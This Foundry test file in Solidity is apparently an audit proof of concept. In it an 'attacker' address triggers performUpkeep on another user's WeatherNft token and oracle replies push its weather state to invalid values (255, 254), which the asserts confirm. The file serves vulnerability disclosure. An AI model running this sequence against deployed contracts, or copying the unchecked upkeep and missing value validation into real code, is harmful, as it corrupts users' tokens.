pragma solidity 0.8.29;
import {Test, console} from "forge-std/Test.sol";
import {WeatherNft} from "src/WeatherNft.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";
contract WeatherNftInvalidState is Test {
WeatherNft public weatherNft;
LinkTokenInterface public linkToken;
address public functionsRouter;
address public keeperRegistry;
address public keeperRegistrar;
address public user = makeAddr("user");
address public attacker = makeAddr("attacker");
function setUp() external {
weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;
keeperRegistry = weatherNft.s_keeperRegistry();
keeperRegistrar = weatherNft.s_keeperRegistrar();
vm.deal(user, 100 ether);
vm.deal(attacker, 100 ether);
deal(address(linkToken), user, 1000e18);
}
function test_invalidWeatherState() external {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 1 hours;
uint256 initLinkDeposit = 5e18;
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
uint256 mintPrice = weatherNft.s_currentMintPrice();
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: mintPrice}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
bytes32 requestId = _getLastMintRequestId();
uint256 tokenId = weatherNft.s_tokenCounter();
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(requestId, abi.encode(uint8(0)), "");
vm.prank(user);
weatherNft.fulfillMintRequest(requestId);
uint8 initialWeather = uint8(weatherNft.s_tokenIdToWeather(tokenId));
console.log("Initial weather state:", initialWeather);
vm.startPrank(attacker);
bytes memory performData = abi.encode(tokenId);
weatherNft.performUpkeep(performData);
bytes32 updateRequestId = _getLastUpdateRequestId();
vm.stopPrank();
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(updateRequestId, abi.encode(uint8(255)), "");
uint8 finalWeather = uint8(weatherNft.s_tokenIdToWeather(tokenId));
console.log("Final weather state:", finalWeather);
assertEq(finalWeather, 255, "Weather state should be invalid");
vm.startPrank(attacker);
weatherNft.performUpkeep(performData);
updateRequestId = _getLastUpdateRequestId();
vm.stopPrank();
vm.prank(functionsRouter);
weatherNft.handleOracleFulfillment(updateRequestId, abi.encode(uint8(254)), "");
finalWeather = uint8(weatherNft.s_tokenIdToWeather(tokenId));
console.log("Final weather state after second attack:", finalWeather);
assertEq(finalWeather, 254, "Weather state should be another invalid state");
}
function _getLastMintRequestId() internal returns (bytes32 reqId) {
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i = logs.length; i > 0; i--) {
if (logs[i - 1].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i - 1].data, (address, string, string, bytes32));
break;
}
}
}
function _getLastUpdateRequestId() internal returns (bytes32 reqId) {
Vm.Log[] memory logs = vm.getRecordedLogs();
for (uint256 i = logs.length; i > 0; i--) {
if (logs[i - 1].topics[0] == keccak256("NftWeatherUpdateRequestSend(uint256,bytes32,uint256)")) {
(, reqId,) = abi.decode(logs[i - 1].data, (uint256, bytes32, uint256));
break;
}
}
}
}